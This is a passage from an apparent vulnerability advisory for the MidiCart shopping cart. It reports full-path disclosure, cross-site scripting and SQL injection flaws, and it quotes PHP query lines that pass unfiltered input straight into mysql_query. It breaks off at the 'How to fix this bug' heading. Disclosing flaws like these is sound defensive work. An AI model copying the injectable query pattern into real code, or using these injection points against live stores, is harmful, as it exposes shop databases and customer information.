0x01 - Affected software description:
-------------------------------------
MidiCart is a Try-Before-You-Buy Shopping Cart Software, that provides all you need to
create, operate, and maintain a professional Internet shop. MidiCart ASP and PHP Shopping
Cart is extremely easy to use, flexible, powerful and affordable e-commerce solution for
your web site.

0x02 - Vulnerability Discription:
---------------------------------
There are several vulnarabilities in midicart. First there are some full-path disclosure
bugs because of some undefined variable and if php.ini is set to display_errors = on we
will see full path of the script. Second vulnerability is xss in item_list.php and
search_list.php file which doesn't have any checking of input string so it is possible to
inject some evil code and execute through the browser. Third bug is a sql injection also
in search_list.php, item_list.php and item_show.php file also because there isn't any
filtering and checking of input string which will be executed in mysql command so with
special crafted sql command we can get some sensitve information from database.

0x03 - Vulnerability Code:
--------------------------
Code vulnarable to sql injectio in search_list.php file
...
// database query to select the categories
$result = mysql_query("select * from products WHERE $chose LIKE '%$searchstring%' ORDER BY
'maingroup','secondgroup','code_no' LIMIT 0, 100 ") ;
...

Code vulnarable to sql injectio in item_show.php file
// query to get the products of type $category
$result = mysql_query("select * from products where(code_no = '$code_no') ORDER BY 'item'");

0x04 - How to fix this bug:
